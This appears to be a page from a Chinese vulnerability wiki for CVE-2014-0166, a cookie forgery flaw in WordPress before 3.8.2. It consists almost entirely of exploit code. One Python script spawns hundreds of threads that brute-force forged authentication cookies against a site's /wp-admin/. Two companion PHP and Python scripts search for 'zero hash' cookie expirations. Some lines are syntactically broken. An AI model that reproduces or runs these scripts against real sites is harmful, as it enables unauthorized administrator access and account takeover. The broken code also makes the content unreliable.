Loading
0

CVE-2014-0166 WordPress before 3.7.2 and 3.8.x before 3.8.2 伪造Cookie获得权限漏洞

免费、自由、人人可编辑的漏洞库--pwnwiki.com

,

INFO

WordPress < 3.8.2 cookie forgery vulnerability

cookieForger.py

#!/usr/bin/env python

"""
This script is the EXP of CVE-2014-0166.
By varying the expiration value of the cookie, an attacker can find a 'zero hash' to forge a valid cookie. 
However, on average, we need 300 million requets to find a 'zero hash'. 
Therefore I wrote this multithread script.

Details: http://www.ettack.org/wordpress-cookie-forgery/
Author: Ettack
Email: email protected
"""

import requests
import hmac
import threading
from hashlib import md5
from sys import stdout
from time import sleep,ctime,gmtime,time
from os import _exit

initnum = 0 	#Set the initial value here while performing distributed computing.
threadNum = 500
errTolerance = 0 	#If ErrorRequests/AllRequests > errTolerance, then decrease threads number

lock = threading.Lock()

url = 'http://test.com'
user = 'ettack'


expiration = 1400000000+initnum
cnt = 0+initnum


cookie_k = 'wordpress_' + md5(url).hexdigest()

def testCookie(url,user,expr):
	global errcnt
	cookie_v = user + '|' + str(expr) + '|0'
	cookie = {cookie_k:cookie_v}
	try:
		r = requests.head(url + '/wp-admin/',cookies=cookie)
	except requests.exceptions.ConnectionError:
		errcnt += 1
		# print "Connection ERROR occured in %s"%(threading.current_thread())
		sleep(8)
		return "Err"
	statcode = r.status_code
	if statcode == 200: 
		return cookie
	if statcode != 302:
		errcnt += 1
		sleep(5)
		return "Err"
	return False


def action():
	lock.acquire()
	global expiration,cnt
	expiration += 1
	cnt += 1
	stdout.flush()
	stdout.write("\r%s"%(cnt))
	lock.release()
	try:
		#Copy expiration value to expr.As expiration would be increased by other threads.
		expr = expiration
		#Loop until no error
		while True:
			result = testCookie(url,user,expr)
			if result != "Err": break
	except KeyboardInterrupt:
		print "Interrupted at %s"%(expiration)
		_exit(0)
	except Exception,e:
		print e

	#Cookie found! Output to screen and file (wp_result). Output consumed time as well.
	if result != False:
		print "\n\nCongratulations!!! Found valid cookie:"
		print str(result)
		dtime = time()-stime
		timestr = gmtime(dtime)
		print "\nRunning time: %sd %sh %sm %ss"%(timestr.tm_mday-1,timestr.tm_hour,timestr.tm_min,timestr.tm_sec)	
		with open("wp_result","w") as fp:
			fp.write(str(result))
			fp.close()
		_exit(0)


stime = time()
print "Start at %s"%(ctime())
print "Guessing with %d threads...\n"%(threadNum)

#Main part of guessing program
while True:
	threads = 
	errcnt = 0
	
	for i in xrange(threadNum):
		t = threading.Thread(target = action)
		threads.append(t)
		t.start()

	for t in threads:
		t.join()
	
	#Adjust threads number
	errRate = float(errcnt)/threadNum 
	if errRate > errTolerance:
		newThreadNum = int(threadNum * (1-0.5*errRate))
	 	print "\nToo many retries (%d/%d). Automatically decrease to %d threads!"%(errcnt,threadNum+errcnt,newThreadNum)
	 	threadNum = newThreadNum
	#Log process to wp_log
	with open("wp_log","w") as fp:
		fp.write(str(cnt))
		fp.close()




wp_zero_cookie_generator.php

<?php
/**
* A script to verify (local) WordPress < 3.8.2 cookie forgery vulnerability
* Author:	Ettack
* Email:	email protected
*/

$site_url = 'http://www.ettack.org';	//Used for generating cookie key: 'wordpress_'+hash($site_url)
$user = 'ettack';
$pass_frag = '1234';	//Fragment of your password hash. $pass_frag = substr($user->user_pass, 8, 4)
$scheme = '';

$unit = 100000000;
$init = empty($argv1)?0:$argv1*$unit;		//Start point. e.g. 2 for 200000000
$exptime = 1400000000+$init;
$cnt = 0+$init;
$max = $init + $unit;

function gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme) {
	$lk = 'E..y-UBzte>Ddu^pF~kFsCPd6zD)%gar?0lBPiki9Kg_M`^<b3&`PtowYZ6V/1sU';	//$auth_key configured in wp-config.php
	$ls = '()_m._cRk}-Uj|tZ9GEZXJFJ}Ab+AT}:T!ug{I*o`PmmJ`4~/ry^:y0H$g:.fpm}';	//$auth_salt configured in wp-config.php

	$key = hash_hmac('md5',$user.$pass_frag.'|'.$exptime,$lk.$ls);
	$hash = hash_hmac('md5',$user.'|'.$exptime,$key);

	return $hash;
}


while ($cnt<$max) {
	$cnt++;
	$exptime++;
	if ($cnt % 10000 == 0) { 
		echo "\rTrying:  ".$exptime;	//real-time status output
	}
	$hs = gen_cookie($site_url,$user,$exptime,$pass_frag,$scheme);
	//when "zero hash" found, output and exit
	if ($hs == "0") {
		echo "\n\nAfter ".$cnt." tries, we found: \n";
		echo "Expiration: ".$exptime."\n";
		echo "Hash: ".$hs."\n";
		echo "Cookie Key: ".'wordpress'.$scheme.md5($site_url).'\n'
		echo "Cookie Value: ".$user.'|'.$exptime.'|'.$hs.'\n'
		break;
	}
}
?>

zeroCather.py

import re,hmac
from multiprocessing import Process,Value
from sys import stdout


user = 'ettack'
pass_frag = 'u5dr'

pnum = 8
exprstart = 1400000000

def gen_cookie(user,exptime,pass_frag):
    lk = 'dBr|SFMq6`VaOFKw>r~^Npl(-z &OA(9{(W &(?2h&I}v1!V+Kx.m|uV-:z89L72'
    ls = 'a=ec%X>I>#/@z>b);!*Qk*!&zS)@3email protected$v&email protected@I(YkJV4i9<Qp6'
    key = hmac.new(lk+ls,user+pass_frag+'|'+str(exptime)).hexdigest()
    hs = hmac.new(key,user+'|'+str(exptime)).hexdigest()
    return hs

def loop(tid,flag):
    exptime = exprstart+tid
    while flag.value==0:
        if (exptime % 10000 == 0):
            stdout.flush()
            stdout.write("\rTrying:  "+str(exptime))

        hs = gen_cookie(user,exptime,pass_frag)

        if (re.search('^0+e\d*$',hs)):
            print "\n\nAfter "+str(exptime-exprstart)+" tries, we found: \n"
            print "Expiration: "+str(exptime)+"\n"
            print "Hash: "+hs+"\n"
            flag.value = 1

        exptime += pnum


if __name__ == '__main__':
    processes = 
    flag = Value('i',0)
    for i in xrange(pnum):
        p = Process(target=loop,args=(i,flag))
        processes.append(p)
        p.start()

    for p in processes:
        p.join()


免费、自由、人人可编辑的漏洞库--PwnWiki.com